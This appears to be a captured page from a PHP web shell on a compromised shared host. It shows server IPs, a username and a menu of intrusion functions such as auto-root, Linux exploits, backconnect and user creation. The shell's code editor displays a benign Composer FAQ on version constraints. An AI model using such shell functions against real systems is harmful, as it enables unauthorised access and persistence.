Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
composer /
composer /
doc /
faqs /
[ HOME SHELL ]
Name
Size
Permission
Action
how-do-i-install-a-package-to-...
2.17
KB
-rw-r--r--
how-to-install-composer-progra...
1.4
KB
-rw-r--r--
how-to-install-untrusted-packa...
1.39
KB
-rw-r--r--
should-i-commit-the-dependenci...
1.67
KB
-rw-r--r--
which-version-numbering-system...
153
B
-rw-r--r--
why-are-unbound-version-constr...
1.04
KB
-rw-r--r--
why-are-version-constraints-co...
989
B
-rw-r--r--
why-can't-composer-load-reposi...
2.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : why-are-unbound-version-constraints-a-bad-idea.md
# Why are unbound version constraints a bad idea? A version constraint without an upper bound such as `*`, `>=3.4` or `dev-master` will allow updates to any future version of the dependency. This includes major versions breaking backward compatibility. Once a release of your package is tagged, you cannot tweak its dependencies anymore in case a dependency breaks BC - you have to do a new release, but the previous one stays broken. The only good alternative is to define an upper bound on your constraints, which you can increase in a new release after testing that your package is compatible with the new major version of your dependency. For example instead of using `>=3.4` you should use `^3.4` which allows all versions up to `3.999` but does not include `4.0` and above. The `^` operator works very well with libraries following [semantic versioning](https://semver.org). **Note:** As a package maintainer, you can help your users by providing an [alias version](../articles/aliases.md) for your development branch to allow it to match bound constraints.
Close